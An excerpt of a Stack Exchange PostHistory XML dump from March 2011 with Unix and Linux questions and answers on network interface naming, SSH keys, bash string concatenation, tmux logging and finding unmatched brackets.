  <row Id="24610" PostHistoryTypeId="2" PostId="10254" RevisionGUID="4f466516-67d2-41f2-ac44-032b23a5660f" CreationDate="2011-03-28T21:06:25.977" UserDisplayName="Athabaska Dick" Text="Is there any way to swap network interfaces (*eth1* &lt;-&gt; *eth0*) after system installation.&#xD;&#xA;&#xD;&#xA;My brand new Debian 6.0 install assigned PCI network card as &quot;*eth0*&quot; and motherboards integrated network device as &quot;*eth1*&quot; by default. The problem is I want to use the integrated device as default (*eth0*) network interface.&#xD;&#xA;&#xD;&#xA;I already edited :&#xD;&#xA;&#xD;&#xA;&gt; **/etc/udev/rules.d/70-persistent-net.rules**&#xD;&#xA;&#xD;&#xA;to swap the names and everything seems to be ok and network is working but programs are still trying to use the PCI network card (which is now &quot;*eth1*&quot;) as the default interface. For example *iftop* now tries to use &quot;*eth1*&quot; as default device as it used &quot;*eth0*&quot; before the swap.&#xD;&#xA;&#xD;&#xA;Is this purely a software problem as the applications are trying to use the first found device as a default device despite their interface naming or is there any way to fix this by configuring OS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I wrote a small app to print out iflist and the PCI device (*eth1*) came up before &quot;*eth0*&quot;. Any ideas how to swap the device order." />
  <row Id="24611" PostHistoryTypeId="1" PostId="10254" RevisionGUID="4f466516-67d2-41f2-ac44-032b23a5660f" CreationDate="2011-03-28T21:06:25.977" UserDisplayName="Athabaska Dick" Text="How to change default network interface (eth1 to eth0) on linux." />
  <row Id="24612" PostHistoryTypeId="3" PostId="10254" RevisionGUID="4f466516-67d2-41f2-ac44-032b23a5660f" CreationDate="2011-03-28T21:06:25.977" UserDisplayName="Athabaska Dick" Text="énetworkingàédebianà" />
  <row Id="24613" PostHistoryTypeId="17" PostId="10254" RevisionGUID="694cbab9-0c7c-4d73-80ab-f7d2b557b261" CreationDate="2011-03-29T00:45:25.027" UserId="-1" Comment="from http://serverfault.com/questions/252901/how-to-change-default-network-interface-eth1-to-eth0-on-linux" Text="" />
  <row Id="24614" PostHistoryTypeId="2" PostId="10255" RevisionGUID="97d68dd2-48da-46b8-8e1b-3f8e7258d8b9" CreationDate="2011-03-29T00:56:22.713" UserId="2421" Text="Well, there's [Gentoo][1].  Since it installs everything from source, there are no `-dev` packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/" />
  <row Id="24615" PostHistoryTypeId="2" PostId="10256" RevisionGUID="4f7da850-3744-4790-a35f-7bcc8e40b127" CreationDate="2011-03-29T01:23:28.707" UserId="3169" Text="On Debian (and therefore probably Ubuntu), installing `python` installs `python-minimal` and `python`, which results in all core modules being installed, which I assume is what you mean by &quot;the entire standard library&quot;.&#xD;&#xA;&#xD;&#xA;So it's two packages, with a dependency that means one command will install everything.&#xD;&#xA;&#xD;&#xA;Does that meet your criteria?  If not, can you please explain in more detail what you mean?" />
  <row Id="24616" PostHistoryTypeId="5" PostId="10235" RevisionGUID="868d5f5a-4d7d-4792-a4a2-abc7cb9bb451" CreationDate="2011-03-29T01:40:13.480" UserId="250" Comment="edited body" Text="I think I should add a bit of a narrative to the link in 9000's answer.&#xD;&#xA;&#xD;&#xA;First, check in home to see if you have a folder named `.ssh` with files inside. If `.ssh` doesn't exist, you don't have any key set up, so you have to generate a pair using `ssh-keygen` (it defaults to create the keys in `~/.ssh`, you can give the keys a password or not). This will give you a .pub file in `~/.ssh` (mine is `id_rsa.pub`). The file `id_rsa.pub` should look like:&#xD;&#xA;&#xD;&#xA;&gt; ssh-rsa lotsofrandomtext user@local&#xD;&#xA;&#xD;&#xA;Second, ssh to the server, check to see if you have a file named `~/.ssh/authorized_keys`, create it if it doesn't exist. Then, append the contents of the `~/.ssh/id_rsa.pub` that you generated earlier in your local machine here. This might mean copying the file contents to your clipboard, then opening `~/.ssh/authorized_keys` in a text editor and pasting the lines in.&#xD;&#xA;&#xD;&#xA;You should now be able to ssh without typing the password.&#xD;&#xA;&#xD;&#xA;Third, if you put this in `~/.ssh/config`:&#xD;&#xA;&#xD;&#xA;    Host server&#xD;&#xA;    HostName server.com&#xD;&#xA;    Port 11000&#xD;&#xA;    User user&#xD;&#xA;&#xD;&#xA;You will be able to `ssh server` (save quite a few key strokes). Thanks to cjm for the `User` keyword that I forgot to mention." />
  <row Id="24617" PostHistoryTypeId="5" PostId="10256" RevisionGUID="66a5d22c-dd52-4fab-831c-4d964956d942" CreationDate="2011-03-29T01:42:35.607" UserId="3169" Comment="added 78 characters in body" Text="On Debian (and therefore probably Ubuntu), installing `python` installs `python-minimal` and `python`, which results in all core modules being installed, which I assume is what you mean by &quot;the entire standard library&quot;.&#xD;&#xA;&#xD;&#xA;The only caveat I can find is that the Tk GUI stuff is all installed, but you need to install the `python-tk` package to use it properly.&#xD;&#xA;&#xD;&#xA;So it's three packages, which are easy to install: `apt-get install python python-tk`.&#xD;&#xA;&#xD;&#xA;Does that meet your criteria?" />
  <row Id="24622" PostHistoryTypeId="2" PostId="10258" RevisionGUID="6a67d1ae-11ee-497b-98f9-69a77c2a6b68" CreationDate="2011-03-29T02:03:06.873" UserId="29" Text="[Arch Linux](http://www.archlinux.org/) doesn't have separate packages for `-dev` and it's binary (unlike gentoo). There might be a few things, like `tk` which isn't pulled in by default. Here's the [`python package`](http://www.archlinux.org/packages/extra/i686/python/) for arch." />
  <row Id="24623" PostHistoryTypeId="25" PostId="10254" RevisionGUID="40507110-dca5-4cf5-926b-f02501dc25ac" CreationDate="2011-03-29T03:00:20.460" Comment="http://twitter.com/#!/StackUnix/status/52565726254473216" />
  <row Id="24624" PostHistoryTypeId="5" PostId="10246" RevisionGUID="345d0054-5d03-47dc-b1c5-c6893457d5f1" CreationDate="2011-03-29T03:25:19.270" UserId="6116" Comment="added note: must create on mac" Text="I'm using a G4 1.5ghz PPC 32bit Powerbook&#xD;&#xA;&#xD;&#xA;I followed the instructions on this site.&#xD;&#xA;&#xD;&#xA;&lt;http://mintppc.org/content/installation-mintppc-92&gt;&#xD;&#xA;&#xD;&#xA;But could never get my powerbook to boot up from the usb drive.&#xD;&#xA;&#xD;&#xA;I can not use a CD because my DVD drive is busted. Thus the need for USB.&#xD;&#xA;&#xD;&#xA;Also most of the usb partitioning and install instructions are for people using linux already. I need to create the disk in mac osx only." />
  <row Id="24625" PostHistoryTypeId="2" PostId="10259" RevisionGUID="b27cce97-4aca-4f27-adc6-3b07f52ea402" CreationDate="2011-03-29T03:51:52.600" UserId="1107" Text="Let me see if I have deciphered your *screen* configuration correctly:&#xD;&#xA;&#xD;&#xA; * You use something like `logfile &quot;%t-screen.log&quot;` (probably in a `.screenrc` file) to configure the name of the log file that will be started later.&#xD;&#xA; * You use the `title &lt;hostname&gt;` (C-a A) *screen* command to set the title of a new window, or  &#xD;&#xA;you do `screen -t &lt;hostname&gt; ssh0 &lt;hostname&gt;` to start a new screen session.&#xD;&#xA; * You use the C-a H (C-a :log) *screen* command to toggle logging to the configured file.&#xD;&#xA;&#xD;&#xA;If so, then is nearly equivalent (requires *tmux* 1.3+ to support #W in the `pipe-pane` shell command; `pipe-pane` is available in *tmux* 1.0+):&#xD;&#xA;&#xD;&#xA;* In a configuration file (e.g. `.tmux.conf`):&#xD;&#xA;&#xD;&#xA;        bind-key H pipe-pane -o 'cat &gt;&gt;$HOME/#W-tmux.log'&#xD;&#xA;* Use `tmux rename-window &lt;hostname&gt;` (C-b ,) to rename an existing window, or  &#xD;&#xA;  use `tmux new-window -n &lt;hostname&gt; 'ssh &lt;hostname&gt;'` to start a new *tmux* window, or  &#xD;&#xA;  use `tmux new-session -n &lt;hostname&gt; 'ssh &lt;hostname&gt;'` to start a new *tmux* session.&#xD;&#xA;* Use C-b H to toggle the logging.&#xD;&#xA;&#xD;&#xA;There is no notification that the log has been toggled, but you could add one if you wanted:&#xD;&#xA;&#xD;&#xA;    bind-key H pipe-pane -o 'cat &gt;&gt;$HOME/#W-tmux.log' \; display-message 'Toggled logging to $HOME/#W-tmux.log'&#xD;&#xA;&#xD;&#xA;Note: The above line is shown as if it were in a configuration file (either `.tmux.conf` or one you `source`). *tmux* needs to see both the backslash and the semicolon; if you want to configure this from the a shell (e.g. `tmux bind-key …`), then you will have to escape or quote both characters appropriately so that they are delivered to *tmux* intact. There does not seem to be a convenient way to show different messages for toggling on/off when using only a single binding (you might be able to rig something up with `if-shell`, but it would probably be ugly). If two bindings are acceptable, then try this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    bind-key H pipe-pane 'cat &gt;&gt;$HOME/#W-tmux.log' \; display-message 'Started logging to $HOME/#W-tmux.log'&#xD;&#xA;    bind-key h pipe-pane \; display-message 'Ended logging to $HOME/#W-tmux.log'&#xD;&#xA;" />
  <row Id="24626" PostHistoryTypeId="5" PostId="10256" RevisionGUID="6b657320-3a9b-4258-8a76-e7b41979a636" CreationDate="2011-03-29T03:56:03.447" UserId="3169" Comment="added 13 characters in body" Text="On Debian (and therefore probably Ubuntu), running `apt-get install python` installs `python-minimal` and `python`, which results in all core modules being installed, which I assume is what you mean by &quot;the entire standard library&quot;.&#xD;&#xA;&#xD;&#xA;The only caveat I can find is that the Tk GUI stuff is all installed, but you need to install the `python-tk` package to use it properly.&#xD;&#xA;&#xD;&#xA;So it's three packages, which are easy to install: `apt-get install python python-tk`.&#xD;&#xA;&#xD;&#xA;Does that meet your criteria?" />
  <row Id="24627" PostHistoryTypeId="2" PostId="10260" RevisionGUID="09387ae7-af26-4591-ac66-18cb8ac4fe0c" CreationDate="2011-03-29T04:29:18.653" UserId="5685" Text="You can use the `netdev=` kernel command line parameter (you need to pass that to the kernel in grub) to instruct the kernel to link a given irq to a given interface, e.g.: `netdev=irq=2,name=eth0`" />
  <row Id="24628" PostHistoryTypeId="25" PostId="10214" RevisionGUID="16b59fe9-f695-4971-8f9e-a27eee577aa5" CreationDate="2011-03-29T06:00:19.913" Comment="http://twitter.com/#!/StackUnix/status/52611022560833536" />
  <row Id="24629" PostHistoryTypeId="2" PostId="10261" RevisionGUID="0030ebd5-d03f-4f90-8936-c4510d601c1d" CreationDate="2011-03-29T06:15:05.490" UserId="5685" Text="I use `par` for formatting, it can even word wrap with an existing prefix, in the context of emails for example." />
  <row Id="24632" PostHistoryTypeId="5" PostId="10256" RevisionGUID="e33d6292-ae7d-401d-a4b2-e10ba67c0488" CreationDate="2011-03-29T06:41:01.667" UserId="3169" Comment="added 333 characters in body" Text="On Debian (and therefore probably Ubuntu), running `apt-get install python` installs `python-minimal` and `python`, which results in all core modules being installed, which I assume is what you mean by &quot;the entire standard library&quot;.&#xD;&#xA;&#xD;&#xA;The only caveat I can find is that the Tk GUI stuff is all installed, but you need to install the `python-tk` package to use it properly.&#xD;&#xA;&#xD;&#xA;    &gt;&gt;&gt; import Tkinter&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;&#xD;&#xA;      File &quot;/usr/lib/python2.5/lib-tk/Tkinter.py&quot;, line 41, in &lt;module&gt;&#xD;&#xA;        raise ImportError, str(msg) + ', please install the python-tk package'&#xD;&#xA;    ImportError: No module named _tkinter, please install the python-tk package&#xD;&#xA;&#xD;&#xA;So run `apt-get install python python-tk`, and you have everything you need.&#xD;&#xA;&#xD;&#xA;Does that meet your criteria?" />
  <row Id="24633" PostHistoryTypeId="25" PostId="10253" RevisionGUID="ac628db7-092b-45bc-a9cb-94ec7e333661" CreationDate="2011-03-29T09:00:20.377" Comment="http://twitter.com/#!/StackUnix/status/52656322679808000" />
  <row Id="24634" PostHistoryTypeId="2" PostId="10263" RevisionGUID="6980e3b4-8d1b-4d79-972e-99557ada1d5f" CreationDate="2011-03-29T09:51:59.120" UserId="6001" Text="I need to concatenate 2 strings in bash, so that:&#xD;&#xA;&#xD;&#xA;    string1=hello&#xD;&#xA;    string2=world&#xD;&#xA;&#xD;&#xA;    mystring=string1+string2&#xD;&#xA;&#xD;&#xA;echo mystring should produce&#xD;&#xA;&#xD;&#xA;helloworld" />
  <row Id="24635" PostHistoryTypeId="1" PostId="10263" RevisionGUID="6980e3b4-8d1b-4d79-972e-99557ada1d5f" CreationDate="2011-03-29T09:51:59.120" UserId="6001" Text="how to concatenate strings in bash?" />
  <row Id="24636" PostHistoryTypeId="3" PostId="10263" RevisionGUID="6980e3b4-8d1b-4d79-972e-99557ada1d5f" CreationDate="2011-03-29T09:51:59.120" UserId="6001" Text="ébashàéstringà" />
  <row Id="24637" PostHistoryTypeId="2" PostId="10264" RevisionGUID="80d6d22e-7c31-4718-ad1d-7151942a0dda" CreationDate="2011-03-29T09:54:22.140" UserId="1338" Text="simply concatenate the variables:&#xD;&#xA;&#xD;&#xA;    mystring=&quot;$string1$string2&quot;" />
  <row Id="24638" PostHistoryTypeId="2" PostId="10265" RevisionGUID="95b3dc0c-c89e-466d-bc39-c8948878e6f4" CreationDate="2011-03-29T10:06:29.617" UserId="3913" Text="Hi,&#xD;&#xA;&#xD;&#xA;Can someone please point out how I could do svn:externals for a single file?&#xD;&#xA;I know how to use svn:externals for directories, having used it for a while now under svn 1.4 but I can't seem to figure out how to do file externals in 1.6.&#xD;&#xA;&#xD;&#xA;I can't also figure out the documentation in the svn redbook here http://svnbook.red-bean.com/nightly/en/svn.advanced.externals.html.&#xD;&#xA;&#xD;&#xA;Thank you so much in advance.&#xD;&#xA;&#xD;&#xA;Ismael :)" />
  <row Id="24639" PostHistoryTypeId="1" PostId="10265" RevisionGUID="95b3dc0c-c89e-466d-bc39-c8948878e6f4" CreationDate="2011-03-29T10:06:29.617" UserId="3913" Text="subversion 1.6 file svn:externals help" />
  <row Id="24640" PostHistoryTypeId="3" PostId="10265" RevisionGUID="95b3dc0c-c89e-466d-bc39-c8948878e6f4" CreationDate="2011-03-29T10:06:29.617" UserId="3913" Text="ésubversionàéversionöcontrolà" />
  <row Id="24641" PostHistoryTypeId="2" PostId="10266" RevisionGUID="7dbfd886-a9f7-447f-921a-42525d4e8377" CreationDate="2011-03-29T10:31:45.373" UserId="5909" Text="Gentoo could be a good choice. Use flags can be really helpful to cut out all the unnecessary stuff. And once you done it, easy to maintain and keep it up2date." />
  <row Id="24642" PostHistoryTypeId="2" PostId="10267" RevisionGUID="baf0fe93-cfc7-4f59-bf57-f930ff3fdba2" CreationDate="2011-03-29T10:40:43.710" UserId="250" Text="Today I learned that I can use `perl -c filename` to find unmatched curly brackets {} in arbitrary files, not necessarily Perl scripts. The problem is, it doesn't work with other types of brackets () [] and maybe &lt;&gt;. I also had experiments with several Vim plugins that claims to help finding unmatched brackets but so far not so good.&#xD;&#xA;&#xD;&#xA;I have a text file with quite a few brackets and one of them is missing! Is there any program / script / vim plugin / whatever that can help me identify the unmatched bracket?" />
  <row Id="24643" PostHistoryTypeId="1" PostId="10267" RevisionGUID="baf0fe93-cfc7-4f59-bf57-f930ff3fdba2" CreationDate="2011-03-29T10:40:43.710" UserId="250" Text="How to find unmatched brackets in a text file?" />
  <row Id="24644" PostHistoryTypeId="3" PostId="10267" RevisionGUID="baf0fe93-cfc7-4f59-bf57-f930ff3fdba2" CreationDate="2011-03-29T10:40:43.710" UserId="250" Text="étextöprocessingà" />
  <row Id="24645" PostHistoryTypeId="5" PostId="10266" RevisionGUID="b4b68a39-07cc-431e-b877-70a1e3b0e648" CreationDate="2011-03-29T10:47:08.340" UserId="5909" Comment="added 112 characters in body" Text="Gentoo could be a good choice. Use flags can be really helpful to cut out all the unnecessary stuff. And once you done it, easy to maintain and keep it up2date.  &#xD;&#xA;&#xD;&#xA;Tiny Core is very small by default (~10 MB, Micro Core is ~6 MB). I recommend to take a look at these too." />
  <row Id="24646" PostHistoryTypeId="2" PostId="10268" RevisionGUID="2620519c-f44f-4a54-84b9-38058cf0888a" CreationDate="2011-03-29T10:52:45.043" UserId="250" Text="In case you need to concatenate variables with literal strings:&#xD;&#xA;&#xD;&#xA;    string1=hello&#xD;&#xA;    string2=world&#xD;&#xA;    mystring=&quot;some ${string1} arbitrary ${string2} text&quot;&#xD;&#xA;&#xD;&#xA;`echo mystring` would produce:&#xD;&#xA;&#xD;&#xA;&gt; some hello arbitrary world text" />
  <row Id="24647" PostHistoryTypeId="5" PostId="10263" RevisionGUID="87271b74-22e2-4c60-9a1d-2dde0c29f6a7" CreationDate="2011-03-29T10:53:31.640" UserId="250" Comment="small formatting" Text="I need to concatenate 2 strings in bash, so that:&#xD;&#xA;&#xD;&#xA;    string1=hello&#xD;&#xA;    string2=world&#xD;&#xA;&#xD;&#xA;    mystring=string1+string2&#xD;&#xA;&#xD;&#xA;`echo mystring` should produce&#xD;&#xA;&#xD;&#xA;&gt; helloworld" />
  <row Id="24648" PostHistoryTypeId="2" PostId="10269" RevisionGUID="8bd9fc38-c2d8-4e0f-8021-1de8b0cdef48" CreationDate="2011-03-29T10:59:48.150" UserId="4949" Text="In vim you can use the [ and ] to quickly travel to nearest unmatched bracket of the type entered in the next keystroke.&#xD;&#xA;&#xD;&#xA;So [{ will take you back up to the nearest unmatched {; ]) would take you ahead to the nearest unmatched ), and so on." />
  <row Id="24649" PostHistoryTypeId="2" PostId="10270" RevisionGUID="c6d8abdd-be1f-44b4-9f8a-3099f0c0c7f0" CreationDate="2011-03-29T11:20:28.840" UserId="5909" Text="I only know a CLI way. You will need cuetools and shntool.&#xD;&#xA;&#xD;&#xA;    cuebreakpoints file.cue | shnsplit -o flac file.flac&#xD;&#xA;    cuetag.sh file.cue split-*.flac&#xD;&#xA;" />
  <row Id="24650" PostHistoryTypeId="25" PostId="10263" RevisionGUID="c56efd3b-a13a-4395-bbc6-365cd33e6f02" CreationDate="2011-03-29T12:00:21.187" Comment="http://twitter.com/#!/StackUnix/status/52701624744935424" />
  <row Id="24651" PostHistoryTypeId="2" PostId="10271" RevisionGUID="987ed849-4e3e-4f6d-a71f-a1abfbfe931a" CreationDate="2011-03-29T12:14:19.700" UserId="3519" Text="[This][1] was my answer to a similar question on [Stack Overflow][2]. I repeat my whole answer here:&#xD;&#xA;&#xD;&#xA;If what you are trying to do applies to a general purpose language, then this is a non-trivial problem.&#xD;&#xA;&#xD;&#xA;To start with you will have to worry about comments and strings. If you want to check this on a programming language that uses regular expressions, this will make your quest harder again.&#xD;&#xA;&#xD;&#xA;So before I can come in and give you any advice on your question I need to know the limits of your problem area. If you can guarantee that there are no strings, no comments and no regular expressions to worry about - or more generically nowhere in the code that brackets can possibly be used other than for the uses for which you are checking that they are balanced - this will make life a lot simpler.&#xD;&#xA;&#xD;&#xA;Knowing the language that you want to check would be helpful.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If I take the hypothesis that there is no noise, i.e. that all brackets are useful brackets, my strategy would be iterative:&#xD;&#xA;&#xD;&#xA;I would simply look for and remove all inner bracket pairs: those that contain no brackets inside. This is best done by collapsing all lines to a single long line (and find a mechanism to to add line references, should you need to get that information out). In this case the search and replace is pretty simple:&#xD;&#xA;&#xD;&#xA;It requires an array:&#xD;&#xA;&#xD;&#xA;    B[&quot;(&quot;]=&quot;)&quot;; B[&quot;[&quot;]=&quot;]&quot;; B[&quot;{&quot;]=&quot;}&quot;&#xD;&#xA;&#xD;&#xA;And a loop through those elements:&#xD;&#xA;&#xD;&#xA;    for (b in B) {gsub(&quot;[&quot; b &quot;][^][(){}]*[&quot; B[b] &quot;]&quot;, &quot;&quot;, $0)}&#xD;&#xA;&#xD;&#xA;My test file is as follows:&#xD;&#xA;&#xD;&#xA;    #!/bin/awk&#xD;&#xA;    &#xD;&#xA;    ($1 == &quot;PID&quot;) {&#xD;&#xA;      fo (i=1; i&lt;NF; i++)&#xD;&#xA;      {&#xD;&#xA;        F[$i] = i&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ($1 + 0) &gt; 0 {&#xD;&#xA;      count(&quot;VIRT&quot;)&#xD;&#xA;      count(&quot;RES&quot;)&#xD;&#xA;      count(&quot;SHR&quot;)&#xD;&#xA;      count(&quot;%MEM&quot;)&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    END {&#xD;&#xA;      pintf &quot;VIRT=\t%12d\nRES=\t%12d\nSHR=\t%12d\n%%MEM=\t%5.1f%%\n&quot;, C[&quot;VIRT&quot;], C[&quot;RES&quot;], C[&quot;SHR&quot;], C[&quot;%MEM&quot;]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function count(c[)&#xD;&#xA;    {&#xD;&#xA;      f=F[c];&#xD;&#xA;    &#xD;&#xA;      if ($f ~ /m$/)&#xD;&#xA;      {&#xD;&#xA;        $f = ($f+0) * 1024&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      C[c]+=($f+0)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My full script (without line referencing) is as follows:&#xD;&#xA;&#xD;&#xA;    cat test-file-for-brackets.txt | \&#xD;&#xA;      tr -d '\r\n' | \&#xD;&#xA;      awk \&#xD;&#xA;      '&#xD;&#xA;        BEGIN {&#xD;&#xA;          B[&quot;(&quot;]=&quot;)&quot;;&#xD;&#xA;          B[&quot;[&quot;]=&quot;]&quot;;&#xD;&#xA;          B[&quot;{&quot;]=&quot;}&quot;&#xD;&#xA;        }&#xD;&#xA;        {&#xD;&#xA;          m=1;&#xD;&#xA;          while(m&gt;0)&#xD;&#xA;          {&#xD;&#xA;            m=0;&#xD;&#xA;            for (b in B)&#xD;&#xA;            {&#xD;&#xA;              m+=gsub(&quot;[&quot; b &quot;][^][(){}]*[&quot; B[b] &quot;]&quot;, &quot;&quot;, $0)&#xD;&#xA;            }&#xD;&#xA;          };&#xD;&#xA;          print&#xD;&#xA;        }&#xD;&#xA;      '&#xD;&#xA;&#xD;&#xA;The output of that script stops on the innermost illegal uses of brackets.&#xD;&#xA;But beware: 1/ this script will not work with brackets in comments, regular expressions or strings, 2/ it does not report where in the original file the problem is located, 3/ although it will remove all balanced pairs it stops at the innermost error conditions and keeps all englobbing brackets.&#xD;&#xA;&#xD;&#xA;Point 3/ is probably an exploitable result, though I'm not sure of the reporting mechanism you had in mind.&#xD;&#xA;&#xD;&#xA;Point 2/ is relatively easy to implement but takes more than a few minutes work to produce, so I'll leave it up to you to figure out.&#xD;&#xA;&#xD;&#xA;Point 1/ is the tricky one because you enter a whole new realm of competing sometimes nested beginnings and endings, or special quoting rules for special characters...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2667494/awk-brackets-checking/4420435#4420435&#xD;&#xA;  [2]: http://stackoverflow.com/" />
  <row Id="24652" PostHistoryTypeId="5" PostId="10254" RevisionGUID="090785bb-7083-4dda-92cb-b59c65cf4f81" CreationDate="2011-03-29T12:26:46.380" UserId="6136" Comment="added 235 characters in body; edited tags; added 1 characters in body; edited title" Text="Is there any way to swap network interfaces (*eth1* &lt;-&gt; *eth0*) after system installation.&#xD;&#xA;&#xD;&#xA;My brand new Debian 6.0 install assigned PCI network card as &quot;*eth0*&quot; and motherboards integrated network device as &quot;*eth1*&quot; by default. The problem is I want to use the integrated device as default (*eth0*) network interface.&#xD;&#xA;&#xD;&#xA;I already edited :&#xD;&#xA;&#xD;&#xA;&gt; **/etc/udev/rules.d/70-persistent-net.rules**&#xD;&#xA;&#xD;&#xA;to swap the names and everything seems to be ok and network is working but programs are still trying to use the PCI network card (which is now &quot;*eth1*&quot;) as the default interface. For example *iftop* now tries to use &quot;*eth1*&quot; as default device as it used &quot;*eth0*&quot; before the swap.&#xD;&#xA;&#xD;&#xA;Is this purely a software problem as the applications are trying to use the first found device as a default device despite their interface naming or is there any way to fix this by configuring OS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I wrote a small app to print out iflist and the PCI device (*eth1*) came up before &quot;*eth0*&quot;. Any ideas how to swap the device order.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* Looks like I have to somehow change the IRQs of the networks cards to get them in right order. Motherboard BIOS only gives me a options for IRQ 1 to 15. PCI NIC using IRQ 17 and Intargrated NIC is using IRQ 22." />
  <row Id="24653" PostHistoryTypeId="6" PostId="10254" RevisionGUID="090785bb-7083-4dda-92cb-b59c65cf4f81" CreationDate="2011-03-29T12:26:46.380" UserId="6136" Comment="added 235 characters in body; edited tags; added 1 characters in body; edited title" Text="édebianàénetworkingà" />
  <row Id="24654" PostHistoryTypeId="4" PostId="10254" RevisionGUID="090785bb-7083-4dda-92cb-b59c65cf4f81" CreationDate="2011-03-29T12:26:46.380" UserId="6136" Comment="added 235 characters in body; edited tags; added 1 characters in body; edited title" Text="How to change the order of the network cards (eth1 &lt;-&gt; eth0) on linux." />
  <row Id="24655" PostHistoryTypeId="5" PostId="10254" RevisionGUID="5e192e9a-b845-4c8b-947f-36324ac887db" CreationDate="2011-03-29T12:43:13.747" UserId="6136" Comment="added 253 characters in body" Text="Is there any way to swap network interfaces (*eth1* &lt;-&gt; *eth0*) after system installation.&#xD;&#xA;&#xD;&#xA;My brand new Debian 6.0 install assigned PCI network card as &quot;*eth0*&quot; and motherboards integrated network device as &quot;*eth1*&quot; by default. The problem is I want to use the integrated device as default (*eth0*) network interface.&#xD;&#xA;&#xD;&#xA;I already edited :&#xD;&#xA;&#xD;&#xA;&gt; **/etc/udev/rules.d/70-persistent-net.rules**&#xD;&#xA;&#xD;&#xA;to swap the names and everything seems to be ok and network is working but programs are still trying to use the PCI network card (which is now &quot;*eth1*&quot;) as the default interface. For example *iftop* now tries to use &quot;*eth1*&quot; as default device as it used &quot;*eth0*&quot; before the swap.&#xD;&#xA;&#xD;&#xA;Is this purely a software problem as the applications are trying to use the first found device as a default device despite their interface naming or is there any way to fix this by configuring OS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I wrote a small app to print out iflist and the PCI device (*eth1*) came up before &quot;*eth0*&quot;. Any ideas how to swap the device order.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I found a [**thread**][1] about the same problem and I tried everything they suggested and none of the solutions are working except for swapping the names &quot;virtually&quot;.&#xD;&#xA;&#xD;&#xA;Looks like I have to somehow change the IRQs of the networks cards to get them in right order. Motherboard BIOS only gives me a options for IRQ 1 to 15. PCI NIC using IRQ 17 and Intargrated NIC is using IRQ 22.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mail-archive.com/debian-isp@lists.debian.org/msg13466.html" />
  <row Id="24656" PostHistoryTypeId="2" PostId="10272" RevisionGUID="68c03472-4ff1-4417-8e70-cb40e1dc8c23" CreationDate="2011-03-29T13:34:04.990" UserId="6142" Text="You don't need to use {} unless you're going to use bash variable parameters or immediate append a character that would be valid as part of the identifier. You also don't need to use double quotes unless you parameters will include special characters.&#xD;&#xA;&#xD;&#xA;    x=foo&#xD;&#xA;    y=bar&#xD;&#xA;    z=$x$y        # $z is now &quot;foobar&quot;&#xD;&#xA;    z=&quot;$x$y&quot;      # $z is still &quot;foobar&quot;&#xD;&#xA;    z=&quot;$xand$y&quot;   # does not work&#xD;&#xA;    z=&quot;${x}and$y&quot; # does work, &quot;fooandbar&quot;&#xD;&#xA;    z=&quot;$x and $y&quot; # does work, &quot;foo and bar&quot;" />
  <row Id="24660" PostHistoryTypeId="18" PostId="10245" RevisionGUID="774ff5d9-7dec-419a-8d45-7e14c79a1014" CreationDate="2011-03-29T13:44:08.710" UserId="73" Comment="from http://unix.stackexchange.com/questions/10257/solaris-10-boot-from-cd-rom" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24662" PostHistoryTypeId="2" PostId="10273" RevisionGUID="5abed9e1-7e8e-4e28-a466-e6f993487857" CreationDate="2011-03-29T13:55:28.170" UserId="3389" Text="You are likely going to have to go into each affected programs configuration files and change 'eth1' to 'eth0.'  Such programs defaults are setup when they are installed or first run with the currently detected NICs.  &#xD;&#xA;&#xD;&#xA;I use Linux as a router, and had this issue when using scripts.  I now have a nice script fragment called `netconf` that I source in for any other script whenever i need to use NIC names, this file gives me a central location to specify them (i.e. `$LAN_IFACE=eth0`, `$WAN_IFACE=eth1`, etc.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24663" PostHistoryTypeId="5" PostId="10250" RevisionGUID="5bd3a807-a347-4572-9a5c-001f576b37be" CreationDate="2011-03-29T14:11:17.607" UserId="6122" Comment="added 52 characters in body; added 25 characters in body" Text="While I agree with the advice above, that you'll want to get a parser for anything more than tiny or completely ad-hoc, it is (barely ;-) possible to match multi-line blocks between curly braces with sed.&#xD;&#xA;&#xD;&#xA;Here's a debugging version of the sed code&#xD;&#xA;&#xD;&#xA;    sed -n '/[{]/,/[}]/{&#xD;&#xA;        p&#xD;&#xA;        /[}]/a\&#xD;&#xA;         end of block matching brace&#xD;&#xA;    &#xD;&#xA;        }' *.txt&#xD;&#xA;&#xD;&#xA;Some notes, &#xD;&#xA;&#xD;&#xA;   - -n means 'no default print lines as processed'. &#xD;&#xA;   - 'p' means **now** print the line. &#xD;&#xA;   - The construct `/[{]/,/[}]/` is a range expression. It means scan until you find something that matches the first pattern `(/[{]/)` AND then scan until you find the 2nd pattern `(/[}]/)` THEN perform whatever actions you find in between the { } in the sed code. In this case 'p' and the debugging code. (not explained here, use it, mod it or take it out as works best for you).&#xD;&#xA;&#xD;&#xA;You can remove the /[}]/a\ end of block debugging when you prove to your satisfaction that the code is really matching blocks delimited by {,}.&#xD;&#xA;&#xD;&#xA;This code sample will skip over anything not inside a curly brace pair.&#xD;&#xA;It will, as noted by others above, be easly confused if you have any extra {,} embedded in strings, reg-exps, etc., 